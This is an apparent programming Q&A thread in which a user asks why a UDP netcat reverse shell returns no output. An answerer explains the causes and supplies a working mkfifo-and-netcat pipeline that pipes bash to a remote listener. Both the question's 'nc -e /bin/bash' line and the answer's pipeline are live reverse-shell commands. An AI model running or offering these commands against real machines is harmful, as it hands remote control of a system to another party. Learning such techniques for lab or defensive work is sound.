v8rs
v8rs

Reputation: 307

Obtain reverse shell over UDP with netcat

I want to get a reverse shell over UDP using netcat. Netcat by default sends traffic over TCP, so in order to send it over UDP I run the -u option like this:

Host 1:

nc.traditional -l -p 4444 -v -u

Host 2:

nc.traditional localhost 4444 -e /bin/bash -u

But when I type a bash command I do not get the output. Why is that?

Upvotes: 0

Views: 6079

Answers (1)

that other guy
that other guy

Reputation: 123490

There are several problems with this:

  1. You use localhost on Host 2. This is a special hostname that refers to the current host, not to Host 1.
  2. UDP has no connections. Host 1 won't know where to send packets if it doesn't receive a message first.
  3. bash reads input character by character, which doesn't work well with non-stream packet based data.

You can instead connect nc and bash with streams, and then send an immediate packet so that Host 1 will know where to send the commands you enter:

Host1:

nc.traditional -l -p 4444 -v -u

Host 2:

mkfifo fifo
nc.traditional -u host1 4444 < fifo |
{ 
  echo "Hi"
  bash
} > fifo

Upvotes: 2

Related Questions